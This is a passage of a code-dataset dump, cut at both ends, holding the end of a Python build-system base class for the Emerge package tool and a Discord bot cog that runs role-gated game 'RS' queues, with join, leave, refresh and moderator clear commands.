:\n return \"nmake /NOLOGO\"\n elif compiler.isMinGW():\n return \"mingw32-make\"\n else:\n EmergeDebug.die(\"unknown %s compiler\" % self.compiler())\n makeProgramm = property(_getmakeProgram)\n\n def compile(self):\n \"\"\"convencience method - runs configure() and make()\"\"\"\n configure = getattr(self, 'configure')\n make = getattr(self, 'make')\n return configure() and make()\n\n def configureSourceDir(self):\n \"\"\"returns source dir used for configure step\"\"\"\n # pylint: disable=E1101\n # this class never defines self.source, that happens only\n # in MultiSource.\n if hasattr(self,'source'):\n sourcedir = self.source.sourceDir()\n else:\n sourcedir = self.sourceDir()\n\n if self.subinfo.hasConfigurePath():\n sourcedir = os.path.join(sourcedir, self.subinfo.configurePath())\n return sourcedir\n\n def configureOptions(self, defines=\"\"):\n \"\"\"return options for configure command line\"\"\"\n if self.subinfo.options.configure.defines != None:\n defines += \" %s\" % self.subinfo.options.configure.defines\n \n if self.supportsCCACHE:\n defines += \" %s\" % self.ccacheOptions()\n if self.supportsClang:\n defines += \" %s\" % self.clangOptions()\n return defines\n\n def makeOptions(self, defines=\"\", maybeVerbose=True):\n \"\"\"return options for make command line\"\"\"\n if self.subinfo.options.make.ignoreErrors:\n defines += \" -i\"\n if self.subinfo.options.make.makeOptions:\n defines += \" %s\" % self.subinfo.options.make.makeOptions\n if maybeVerbose and EmergeDebug.verbose() > 1:\n if self.supportsNinja and emergeSettings.getboolean(\"Compile\",\"UseNinja\", False ):\n defines += \" -v \"\n else:\n defines += \" VERBOSE=1 V=1\"\n return defines\n\n def dumpEmergeDependencies( self ):\n \"\"\"dump emerge package dependencies\"\"\"\n output = dependencies.dumpDependencies( self.package )\n outDir = self.buildDir()\n outFile = os.path.join( outDir, self.package + '-emerge.dot' )\n if not os.path.exists( os.path.dirname( outFile ) ):\n os.makedirs( os.path.dirname( outFile ) )\n with open( outFile, \"w\" ) as f:\n f.write( output )\n\n graphviz = GraphViz( self )\n\n if not graphviz.runDot( outFile, outFile + '.pdf', 'pdf' ):\n return False\n\n return graphviz.openOutput()\n\n def dumpDependencies(self):\n \"\"\"dump package dependencies \"\"\"\n return self.dumpEmergeDependencies()\n\n def configure(self):\n return True\n \n def make(self):\n return True\n \n def install(self):\n\n # create post (un)install scripts\n for pkgtype in ['bin', 'lib', 'doc', 'src', 'dbg']:\n script = os.path.join( self.packageDir(), \"post-install-%s.cmd\" ) % pkgtype\n scriptName = \"post-install-%s-%s.cmd\" % ( self.package, pkgtype )\n # are there any cases there installDir should be honored ?\n destscript = os.path.join( self.imageDir(), \"manifest\", scriptName )\n if not os.path.exists( os.path.join( self.imageDir(), \"manifest\" ) ):\n utils.createDir( os.path.join( self.imageDir(), \"manifest\" ) )\n if os.path.exists( script ):\n utils.copyFile( script, destscript )\n script = os.path.join( self.packageDir(), \"post-uninstall-%s.cmd\" ) % pkgtype\n scriptName = \"post-uninstall-%s-%s.cmd\" % ( self.package, pkgtype )\n # are there any cases there installDir should be honored ?\n destscript = os.path.join( self.imageDir(), \"manifest\", scriptName )\n if not os.path.exists( os.path.join( self.imageDir(), \"manifest\" ) ):\n utils.createDir( os.path.join( self.imageDir(), \"manifest\" ) )\n if os.path.exists( script ):\n utils.copyFile( script, destscript )\n return True\n\n def unittest( self ):\n \"\"\"running unittests\"\"\"\n return True\n\n def ccacheOptions(self):\n return \"\"\n\n def clangOptions(self):\n return \"\"\n","sub_path":"bin/BuildSystem/BuildSystemBase.py","file_name":"BuildSystemBase.py","file_ext":"py","file_size_in_byte":5716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"541391650","text":"import asyncio\nfrom asyncio.locks import Condition\nimport time\nfrom aiosqlite.core import LOG\n\nimport discord\nimport sqlite3\n\nfrom datetime import datetime\nfrom discord.ext import commands, tasks\nfrom sqlalchemy import select\nfrom sqlalchemy import update\nfrom sqlalchemy import delete\nfrom sqlalchemy import and_\nfrom sqlalchemy.sql.expression import insert\nfrom sqlalchemy.sql.selectable import Select\nfrom sqlalchemy import inspect\nfrom sqlalchemy import event\n\nfrom random import random\n\nfrom bot import LOGGER\nfrom bot import TESTING\n\nimport sys, os\nsys.path.append(os.path.abspath(os.path.join('..', 'routines')))\n\nfrom routines.tables import Queue, Data, Temp\nfrom routines import sessionmaker\nfrom routines import engine\n\n# TODO: Use an actual settings file for these and channel/message ids.\nRS_GROUPS = {\n 'prod': {\n 'rs_ping': {\n \"RS5\": \"<@&785786197531295755>\",\n \"RS6\": \"<@&785786579826245642>\",\n \"RS7\": \"<@&785786709517795328>\",\n \"RS8\": \"<@&785786792350711808>\",\n \"RS9\": \"<@&785786898920374273>\",\n \"RS10\": \"<@&785786957782319104>\",\n \"RS11\": \"<@&800957912180457494>\"\n },\n 'rs_ping_1more': {\n \"RS5\": \"<@&800958080208732231>\",\n \"RS6\": \"<@&805597027458744321>\",\n \"RS7\": \"<@&805597168849256489>\",\n \"RS8\": \"<@&805597260455870515>\",\n \"RS9\": \"<@&805596918956556308>\",\n \"RS10\": \"<@&805597317856100353>\",\n \"RS11\": \"<@&805598218666770432>\"\n }\n },\n 'testing': {\n 'rs_ping': {\n \"RS5\": \"<@&806018027383422998>\",\n \"RS6\": \"<@&806018102797402122>\",\n \"RS7\": \"<@&806018133835513876>\",\n \"RS8\": \"<@&806018135106519040>\",\n \"RS9\": \"<@&806018147487711313>\",\n \"RS10\": \"<@&806018150256082984>\",\n \"RS11\": \"<@&806261078295183400>\"\n },\n 'rs_ping_1more': {\n \"RS5\": \"<@&806018333517938688>\",\n \"RS6\": \"<@&806018337804910592>\",\n \"RS7\": \"<@&806018340203397140>\",\n \"RS8\": \"<@&806018343696990208>\",\n \"RS9\": \"<@&806018346269016084>\",\n \"RS10\": \"<@&806018349183139890>\",\n \"RS11\": \"<@&806261118158372936>\"\n }\n },\n}\n\nif TESTING:\n LOGGER.debug('Loading testing settings.')\n RS_GROUPS = RS_GROUPS.get('testing')\nelse:\n LOGGER.info('Loading PRODUCTION settings.')\n RS_GROUPS = RS_GROUPS.get('prod')\n\n\n\n\n\n\n\nclass RSQueue(commands.Cog, name='Queue'):\n\n def __init__(self, bot):\n self.bot = bot\n self.index = 0\n self.success = 0\n self.error = 0\n self.check_people.start()\n self.current_mods = [\"croid\", \"influence\", \"nosanc\", \"notele\", \"rse\", \"suppress\", \"unity\", \"veng\", \"barrage\", \"laser\", \"dart\", \"battery\", \"solo\", \"solo2\"]\n self.rs_channel = {\n \"rs5-club\": 5,\n \"rs6-club\": 6,\n \"rs7-club\": 7,\n \"rs8-club\": 8,\n \"rs9-club\": 9,\n \"rs10-club\": 10,\n \"rs11-club\": 11,\n \"bot-spam\": -1\n }\n self.rs_ping = RS_GROUPS['rs_ping']\n self.rs_ping_1more = RS_GROUPS['rs_ping_1more']\n self.emojis = {\n \"1️⃣\": 1,\n \"2️⃣\": 2,\n \"3️⃣\": 3,\n \"4️⃣\": 4\n }\n self.total_info = []\n\n\n\n\n\n\n async def amount(self, level):\n async with sessionmaker.begin() as session:\n people = (await session.execute(select(Queue).where(Queue.level == int(level)))).scalars()\n count = 0\n for person in people:\n count += int(person.amount)\n return count\n \n \n \n\n async def queue_time(self, server_id, user_id, amount, level):\n async with sessionmaker.begin() as session:\n person = (await session.get(Queue, (server_id, user_id, amount, level)))\n data = int((time.time() - int(person.time)) / 60)\n return data\n\n async def check(self):\n async with sessionmaker() as session:\n results = (await session.execute(select(Queue))).scalars()\n for queue in results:\n minutes = int((time.time() - queue.time) / 60)\n if minutes == queue.length:\n # Ping the user\n user = await self.bot.fetch_user(queue.user_id)\n channel = await self.bot.fetch_channel(queue.channel_id)\n message = await channel.send(\n f\"{user.mention}, still in for a RS{queue.level}? React ✅ to stay in the queue, and ❌ to leave the queue\")\n await message.add_reaction('✅')\n await message.add_reaction('❌')\n # Add their user_id and message_id to database\n add_temp = Temp(server_id=queue.server_id, channel_id=queue.channel_id, user_id=queue.user_id, message_id=message.id, amount=queue.amount, level=queue.level)\n session.add(add_temp)\n await session.commit()\n\n #ctx = await self.bot.get_context(message.id)\n #await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n elif minutes >= queue.length + 5:\n User_leave = (await session.get(Queue, (queue.server_id, queue.user_id, queue.amount, queue.level)))\n await session.delete(User_leave)\n await session.commit()\n user = await self.bot.fetch_user(queue.user_id)\n channel = await self.bot.fetch_channel(queue.channel_id)\n await channel.send(f\"{user.display_name} has left RS{queue.level} ({await self.amount(queue.level)}/4)\")\n conditions = and_(Temp.user_id == queue.user_id, Temp.level == queue.level)\n id = (await session.execute(select(Temp).where(conditions))).scalars()\n for i in id:\n if i.channel_id == queue.channel_id:\n message = await channel.fetch_message(i.message_id)\n await message.delete()\n conditions = and_(Temp.server_id == queue.server_id, Temp.user_id == queue.user_id, Temp.level == queue.level)\n await session.execute(delete(Temp).where(conditions))\n await session.commit()\n await session.commit()\n \n\n\n @tasks.loop(minutes=1.0)\n async def check_people(self):\n try:\n await self.check()\n except Exception as e:\n self.error, self.index = self.error+1, self.index+1\n check_embed = discord.Embed(\n title=\"Failure\",\n color=discord.Color.red()\n )\n check_embed.add_field(name=\"Timestamp\", value=f\"{int(time.time())}\")\n check_embed.add_field(name=\"Exception\", value=f\"{e}\")\n check_embed.add_field(name=\"Error/Total\", value=f\"{self.error}/{self.index} -> {(self.error)/(self.index)}\")\n else:\n self.success, self.index = self.success+1, self.index+1\n check_embed = discord.Embed(\n title=\"Success\",\n color=discord.Color.green()\n )\n check_embed.add_field(name=\"Timestamp\", value=f\"{int(time.time())}\")\n check_embed.add_field(name=\"Success/Total\", value=f\"{self.success}/{self.index} -> {(self.success)/(self.index)}\")\n finally:\n channel = await self.bot.fetch_channel(849504307707117578)\n await channel.send(embed=check_embed)\n \n\n\n\n \n @commands.command()\n @commands.has_role(\"mod\")\n async def run_check(self, ctx):\n await self.check_people.__call__()\n message = await ctx.send(\"Ran background task check_people()\")\n await asyncio.sleep(5)\n await ctx.message.delete()\n await message.delete()\n\n @commands.command()\n @commands.has_role(\"mod\")\n async def clear_cache(self, ctx):\n engine.clear_compiled_cache()\n message = await ctx.send(\"Engine's cache has been cleared\")\n await asyncio.sleep(10)\n await ctx.message.delete()\n await message.delete()\n\n\n @commands.command(aliases=[\"r\", \"^\", \"staying\"])\n async def refresh(self, ctx):\n async with sessionmaker() as session:\n conditions = and_(Queue.user_id == ctx.author.id, Queue.level == self.rs_channel[str(ctx.message.channel)])\n times = (await session.execute(select(Queue).where(conditions))).scalars()\n times.first().time = int(time.time())\n rs_level = f'RS{self.rs_channel[str(ctx.message.channel)]}'\n num_players = f'({await self.amount(self.rs_channel[str(ctx.message.channel)])}/4)'\n await ctx.send(f\"{ctx.author.mention}, you are requeued for a {rs_level}! {num_players}\")\n await session.commit()\n\n @commands.command(pass_context=True)\n async def corp(self, ctx, *corp):\n member = await ctx.guild.fetch_member(ctx.author.id)\n LOGGER.debug(member.display_name)\n if member.display_name.startswith(\"[\"):\n name = member.display_name[member.display_name.find(\"]\") + 2:]\n else:\n name = member.display_name\n nick = f\"[{' '.join(corp)}] \" + name\n await member.edit(nick=nick)\n await ctx.send(f\"{ctx.author.display_name}, Your corp has been set to {corp}\")\n\n\n @commands.command()\n async def rsc(self, ctx):\n role = discord.utils.get(ctx.author.guild.roles, name='🌟')\n if role in ctx.author.roles:\n await ctx.author.remove_roles(role)\n msg = await ctx.send(\"The RS Channels have been hidden\")\n await asyncio.sleep(15)\n await ctx.message.delete()\n await msg.delete()\n else:\n await ctx.author.add_roles(role)\n msg = await ctx.send(\"The RS Channels have been restored\")\n await asyncio.sleep(15)\n await ctx.message.delete()\n await msg.delete()\n\n @commands.command()\n @commands.has_role(\"mod\")\n async def clear(self, ctx, limit: int):\n await ctx.channel.purge(limit=limit)\n\n @commands.command()\n @commands.has_role(\"mod\")\n async def clear_database(self, ctx, level=None):\n if level is not None:\n async with sessionmaker() as session:\n #await ctx.send(f\"The RS{level} queue has been cleared\")\n users = (await session.execute(select(Queue).where(Queue.level == int(level)))).scalars()\n for user in users:\n await session.delete(user)\n await session.commit()\n message = await ctx.send(f\"RS{level} Queue cleared\")\n await asyncio.sleep(5)\n await ctx.message.delete()\n await message.delete()\n\n else:\n async with sessionmaker() as session:\n for level in range(5, 12):\n users = (await session.execute(select(Queue).where(Queue.level == int(level)))).scalars()\n for user in users:\n await session.delete(user)\n await session.commit()\n message = await ctx.send(\"All queues cleared\")\n await asyncio.sleep(5)\n await ctx.message.delete()\n await message.delete()\n \n\n @commands.command(name='1', help=\"Type +1/-1, which will add you/remove you to/from a RS Queue\")\n async def _one(self, ctx, length=60):\n await self.everything(ctx, ctx.message.content[0], ctx.message.content[1], length, ctx.channel.id)\n\n @commands.command(name='2', help=\"Type +2/-2, which will add you/remove you and another person to/from a RS Queue\")\n async def _two(self, ctx, length=60):\n await self.everything(ctx, ctx.message.content[0], ctx.message.content[1], length, ctx.channel.id)\n\n @commands.command(name='3', help=\"Type +3/-4, which will add you/remove you and 2 other people to/from a RS Queue\")\n async def _three(self, ctx, length=60):\n await self.everything(ctx, ctx.message.content[0], ctx.message.content[1], length, ctx.channel.id)\n\n async def everything(self, ctx, prefix, count, length, channel_id):\n LOGGER.debug(f\"Running the everything command\")\n LOGGER.debug(f\"Values: Prefix: {prefix}, Count: {count}, length: {length}, channel_id: {channel_id}\")\n count = int(count)\n if prefix == \"+\":\n right_channel = False\n channel = \"\"\n for club_channel in self.rs_channel:\n if club_channel == str(ctx.message.channel):\n right_channel = True\n channel = club_channel\n if right_channel:\n has_right_role = False\n for role in ctx.author.roles:\n if str(role)[2:].isnumeric(): # Checks main role (rs#)\n if int(str(role)[2:]) >= int(self.rs_channel[channel]):\n has_right_role = True\n break\n elif str(role)[2:-12].isnumeric(): # Checks 3/4 role (rs# 3/4 1more)\n if int(str(role)[2:-12]) >= int(self.rs_channel[channel]):\n has_right_role = True\n break\n elif str(role)[2:-2].isnumeric(): # Checks silent role (rs# s)\n if int(str(role)[2:-2]) >= int(self.rs_channel[channel]):\n has_right_role = True\n break\n if has_right_role:\n if length >= 5 and length <= 11:\n length = 60\n # check if adding amount would overfill the queue\n queue_status = await self.amount(self.rs_channel[channel])\n if int(queue_status) + count > 4:\n await ctx.send(f\"{ctx.author.mention}, adding {count} people to the queue would overfill the queue\")\n else:\n # check if they are in any other queues\n async with sessionmaker() as session:\n data = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars().all()\n await session.commit()\n if len(data) == 0: # They weren't found in the database, add them\n LOGGER.debug(\"Adding them to the queue\")\n User_entering_queue = Queue(server_id=ctx.guild.id, user_id=ctx.author.id, amount=count, level=self.rs_channel[channel], time=int(time.time()), length=length, channel_id=channel_id)\n session.add(User_entering_queue)\n await session.commit()\n # Check if queue is 4/4\n if await self.amount(self.rs_channel[channel]) == 4:\n LOGGER.debug(\"Queue is 4/4, remove everyone\")\n # Print out the queue\n people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n string_people = \"\"\n print_people = []\n LOGGER.debug(people)\n for person in people:\n string_people += (await self.bot.fetch_user(person.user_id)).mention + \" \"\n print_people.append((await ctx.guild.fetch_member(person.user_id)).display_name)\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n await ctx.send(f\"RS{self.rs_channel[str(ctx.message.channel)]} Ready! {string_people}\")\n await ctx.send(\"Meet where?\")\n # Remove everyone from the queue\n async with sessionmaker() as session:\n queue_people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n for person in queue_people:\n await session.delete(person)\n await session.commit()\n try:\n rs_log_channel = await self.bot.fetch_channel(805228742678806599)\n except:\n rs_log_channel = await self.bot.fetch_channel(806370539148541952)\n formated_date = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n await rs_log_channel.send(f\"RS{self.rs_channel[str(ctx.message.channel)]} Started at {formated_date} PST \\nUsers: {', '.join(print_people)}\")\n else:\n LOGGER.debug(\"Queue ain't 4/4, print out el queue\")\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n count = await self.amount(self.rs_channel[channel])\n if count == 3:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping_1more[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n LOGGER.debug(\"They were found on multiple queues, find all queues\")\n # see what queue they are on, and either update their current position or new position\n async with sessionmaker.begin() as session:\n current_data = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars()\n current_queues = []\n for data in current_data:\n current_queues.append((data.level, data.amount))\n current_queues.append((self.rs_channel[channel], count))\n LOGGER.debug(f'Current Queues: {current_queues}')\n D = {}\n for (x, y) in current_queues:\n if x not in D.keys():\n D[x] = y\n else:\n D[x] += y\n final_queues = [(x, D[x]) for x in D.keys()]\n LOGGER.debug(final_queues)\n LOGGER.debug(\"Above is what should be the final queue status\")\n # append the queue they wanna join to\n for queue in final_queues:\n if queue[0] == self.rs_channel[channel]:\n # Check if adding amount to the queue would make it 4/4\n if await self.amount(self.rs_channel[channel]) + count > 4:\n pass\n else:\n # check to see if we need to update their position or add another position\n async with sessionmaker() as session:\n conditions = and_(Queue.user_id == ctx.author.id, Queue.level == self.rs_channel[channel])\n data = (await session.execute(select(Queue).where(conditions))).scalars().all()\n await session.commit()\n if len(data) == 0:\n # They weren't found elsewhere, add them to the new queue\n LOGGER.debug(\"I have reached this line\")\n user = Queue(server_id=ctx.guild.id, user_id=ctx.author.id, amount=queue[1], level=self.rs_channel[channel], time=int(time.time()), length=length, channel_id=channel_id)\n session.add(user)\n await session.commit()\n else:\n # They were found on another queue, so update their position\n for data in (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars():\n if(data.level == queue[0]):\n pre_amount = data.amount\n user = await session.get(Queue, (ctx.guild.id, ctx.author.id, pre_amount, self.rs_channel[channel]))\n user.amount = int(queue[1])\n user.time = int(time.time())\n user.length = length\n break\n await session.commit()\n if await self.amount(queue[0]) == 4:\n async with sessionmaker() as session:\n people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n string_people = \"\"\n print_people = []\n for person in people:\n string_people += (await self.bot.fetch_user(person.user_id)).mention + \" \"\n print_people.append((await ctx.guild.fetch_member(person.user_id)).display_name)\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n await ctx.send(f\"RS{self.rs_channel[channel]} Ready! {string_people}\")\n await ctx.send(\"Meet where?\")\n # Remove everyone from the queue\n queue_people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n for person in queue_people:\n await session.delete(person)\n await session.commit()\n # Print out the rs log\n try:\n rs_log_channel = await self.bot.fetch_channel(805228742678806599)\n except:\n rs_log_channel = await self.bot.fetch_channel(806370539148541952)\n formated_date = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n await rs_log_channel.send(f\"RS{self.rs_channel[str(ctx.message.channel)]} Started at {formated_date} PST \\nUsers: {', '.join(print_people)}\")\n else:\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n count = await self.amount(self.rs_channel[channel])\n if count == 3:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping_1more[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention}, you aren't RS{self.rs_channel[channel]}\")\n else:\n msg = await ctx.send(\"Command not run in an RS Channel\")\n await asyncio.sleep(10)\n await ctx.message.delete()\n await msg.delete()\n elif prefix == \"-\":\n LOGGER.debug(\"- command run, attempting to remove them from queue\")\n async with sessionmaker.begin() as session:\n conditions = and_(Queue.user_id == ctx.author.id, Queue.level == self.rs_channel[str(ctx.message.channel)])\n result = (await session.execute(select(Queue).where(conditions))).scalars()\n LOGGER.debug(result)\n if result is None: # Didn't find them in any queues\n await ctx.send(f\"{ctx.author.mention}, You aren't in an RS Queues at the moment\")\n else: # Remove count of them from the queue\n # Get the level and amount data\n # Check if removing count would remove more than they are in\n current_data = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars()\n current_queues = []\n for data in current_data:\n current_queues.append((data.level, data.amount))\n adding_queue = (self.rs_channel[str(ctx.message.channel)], -count)\n current_queues.append(adding_queue)\n D = {}\n for (x, y) in current_queues:\n if x not in D.keys():\n D[x] = y\n else:\n D[x] += y\n final_queues = [(x, D[x]) for x in D.keys()]\n LOGGER.debug(final_queues)\n LOGGER.debug(\"above is the final queues of that person\")\n for queue in final_queues:\n # Remove only count from the queue they sent the message in\n if queue[0] == self.rs_channel[str(ctx.message.channel)]:\n LOGGER.debug(queue)\n if queue[1] <= 0:\n async with sessionmaker() as session:\n for data in (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars():\n LOGGER.debug(f\"data.level: {data.level}, {queue[0]}\")\n if(data.level == queue[0]):\n pre_amount = data.amount\n LOGGER.debug(f\"pre_amount {pre_amount}\")\n user = await session.get(Queue, (ctx.guild.id, ctx.author.id, pre_amount, self.rs_channel[str(ctx.message.channel)]))\n LOGGER.debug(f\"User: {user}\")\n await session.delete(user)\n await session.commit()\n break\n else:\n async with sessionmaker() as session:\n for data in (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars():\n if(data.level == queue[0]):\n pre_amount = data.amount\n user = await session.get(Queue, (ctx.guild.id, ctx.author.id, pre_amount, self.rs_channel[str(ctx.message.channel)]))\n user.amount = int(queue[1])\n await session.commit()\n break\n LOGGER.debug(\"updated the queue they were in\")\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)], False)\n await ctx.send(f\"{ctx.author.display_name} has left the RS{self.rs_channel[str(ctx.message.channel)]} Queue ({await self.amount(self.rs_channel[str(ctx.message.channel)])}/4)\")\n\n @commands.command(aliases=[\"o\"], help=\"type !o or !out, which leaves your current RS Queue\")\n async def out(self, ctx):\n # First check if they are in any RS Queues\n async with sessionmaker() as session:\n results = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars().all()\n if len(results) != 0: # They were found in an RS Queue\n # remove only one (and delete if they only have one in queue)\n async with sessionmaker() as session:\n current_data = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars()\n current_queues = []\n for data in current_data:\n current_queues.append((data.level, data.amount))\n adding_queue = (self.rs_channel[str(ctx.message.channel)], -1)\n current_queues.append(adding_queue)\n D = {}\n for (x, y) in current_queues:\n if x not in D.keys():\n D[x] = y\n else:\n D[x] += y\n final_queues = [(x, D[x]) for x in D.keys()]\n for updated_queues in final_queues:\n # Remove only count from the queue they sent the message in\n if updated_queues[0] == self.rs_channel[str(ctx.message.channel)]:\n LOGGER.debug(updated_queues)\n if updated_queues[1] <= 0:\n async with sessionmaker.begin() as session:\n for data in (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars():\n LOGGER.debug(f\"data.level: {data.level}, {updated_queues[0]}\")\n if(data.level == updated_queues[0]):\n pre_amount = data.amount\n LOGGER.debug(f\"pre_amount {pre_amount}\")\n user = await session.get(Queue, (ctx.guild.id, ctx.author.id, pre_amount, self.rs_channel[str(ctx.message.channel)]))\n LOGGER.debug(f\"User: {user}\")\n await session.delete(user)\n LOGGER.debug(\"Removed them from the queue\")\n break\n else:\n async with sessionmaker.begin() as session:\n for data in (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars():\n if(data.level == updated_queues[0]):\n pre_amount = data.amount\n user = await session.get(Queue, (ctx.guild.id, ctx.author.id, pre_amount, self.rs_channel[str(ctx.message.channel)]))\n user.amount = int(updated_queues[1])\n LOGGER.debug(\"updated the queue they were in\")\n break\n\n # Print out the new queue\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)], False)\n await ctx.send(f\"{ctx.author.display_name} has left the RS{self.rs_channel[str(ctx.message.channel)]} Queue ({await self.amount(self.rs_channel[str(ctx.message.channel)])}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention}, You aren't in an RS Queues\")\n\n @commands.command(aliases=[\"in\", \"i\"], help=\"Use this command (!i or !in) to join a RS Queue\")\n async def rs(self, ctx, length=60):\n right_channel = False\n channel = \"\"\n add_level = self.rs_channel[str(ctx.message.channel)]\n for club_channel in self.rs_channel:\n if club_channel == str(ctx.message.channel):\n right_channel = True\n channel = club_channel\n if right_channel:\n has_right_role = False\n for role in ctx.author.roles:\n if str(role)[2:].isnumeric(): # Check main rs role\n if int(str(role)[2:]) >= int(self.rs_channel[channel]):\n has_right_role = True\n break\n elif str(role)[2:-12].isnumeric(): # Check 3/4 role\n if int(str(role)[2:-12]) >= int(self.rs_channel[channel]):\n has_right_role = True\n break\n elif str(role)[2:-2].isnumeric(): # Checks silent role (rs# s)\n if int(str(role)[2:-2]) >= int(self.rs_channel[channel]):\n has_right_role = True\n break\n # if(str(role) == f'RS{self.rs_channel[channel]}' or int(str(role)[2:]) > self.rs_channel[channel]):\n # has_right_role = True\n if has_right_role:\n # This is where the fun begins\n if length >= 5 and length <= 11:\n length = 60\n async with sessionmaker() as session:\n data = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars().all()\n await session.commit()\n if len(data) == 0: # They weren't found in the database, add them\n LOGGER.debug(\"Adding them to the queue\")\n async with sessionmaker() as session:\n User_entering_queue = Queue(server_id=ctx.guild.id, user_id=ctx.author.id, amount=1, level=self.rs_channel[channel], time=int(time.time()), length=length, channel_id=ctx.channel.id)\n session.add(User_entering_queue)\n await session.commit()\n # Print out the queue\n # Check if queue is 4/4\n if await self.amount(self.rs_channel[channel]) == 4:\n LOGGER.debug(\"Queue is 4/4, remove everyone\")\n # Print out the queue\n people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n string_people = \"\"\n print_people = []\n LOGGER.debug(people)\n for person in people:\n string_people += (await self.bot.fetch_user(person.user_id)).mention + \" \"\n print_people.append((await ctx.guild.fetch_member(person.user_id)).display_name)\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n await ctx.send(f\"RS{self.rs_channel[str(ctx.message.channel)]} Ready! {string_people}\")\n await ctx.send(\"Meet where?\")\n # Remove everyone from the queue\n queue_people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n for person in queue_people:\n await session.delete(person)\n await session.commit()\n rs_log_channel = await self.bot.fetch_channel(805228742678806599)\n formated_date = datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n await rs_log_channel.send(f\"RS{self.rs_channel[str(ctx.message.channel)]} Started at {formated_date} PST \\nUsers: {', '.join(print_people)}\")\n else:\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n count = await self.amount(self.rs_channel[channel])\n if count == 3:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping_1more[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n await session.commit()\n else:\n async with sessionmaker() as session:\n # see what queue they are on, and either update their current position or new position\n current_data = (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars()\n # This check is to see if they would be added again to the current queue\n valid = True\n for data in current_data:\n if data.level == self.rs_channel[str(ctx.message.channel)]:\n valid = False\n if valid:\n current_queues = []\n for data in current_data:\n current_queues.append((data.level, data.amount))\n adding_queue = (self.rs_channel[str(ctx.message.channel)], 1)\n current_queues.append(adding_queue)\n D = {}\n for (x, y) in current_queues:\n if x not in D.keys():\n D[x] = y\n else:\n D[x] += y\n final_queues = [(x, D[x]) for x in D.keys()]\n for queue in final_queues:\n if queue[0] == self.rs_channel[channel]:\n # Check if adding amount to the queue would make it 4/4\n if await self.amount(self.rs_channel[channel]) + 1 > 4:\n pass\n else:\n # check to see if we need to update their position or add another position\n async with sessionmaker() as session:\n conditions = and_(Queue.user_id == ctx.author.id, Queue.level == self.rs_channel[channel])\n data = (await session.execute(select(Queue).where(conditions))).scalars().all()\n await session.commit()\n if len(data) == 0:\n # They weren't found elsewhere, add them to the new queue\n async with sessionmaker() as session:\n user = Queue(server_id=ctx.guild.id, user_id=ctx.author.id, amount=queue[1], level=self.rs_channel[channel], time=int(time.time()), length=length, channel_id=ctx.channel.id)\n session.add(user)\n await session.commit()\n else:\n # They were found on another queue, so update their position\n for data in (await session.execute(select(Queue).where(Queue.user_id == ctx.author.id))).scalars():\n if(data.level == queue[0]):\n pre_amount = data.amount\n user = await session.get(Queue, (ctx.guild.id, ctx.author.id, pre_amount, self.rs_channel[channel]))\n user.amount = int(queue[1])\n user.time = int(time.time())\n user.length = length\n await session.commit()\n break\n if await self.amount(queue[0]) == 4:\n async with sessionmaker() as session:\n people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n string_people = \"\"\n print_people = []\n for person in people:\n string_people += (await self.bot.fetch_user(person.user_id)).mention + \" \"\n print_people.append((await ctx.guild.fetch_member(person.user_id)).display_name)\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n await ctx.send(f\"RS{self.rs_channel[channel]} Ready! {string_people}\")\n await ctx.send(\"Meet where?\")\n # Remove everyone from the queue\n queue_people = (await session.execute(select(Queue).where(Queue.level == self.rs_channel[channel]))).scalars()\n for person in queue_people:\n await session.delete(person)\n await session.commit()\n # Print out the rs log\n try:\n rs_log_channel = await self.bot.fetch_channel(805228742678806599)\n except:\n rs_log_channel = await self.bot.fetch_channel(806370539148541952)\n formated_date = 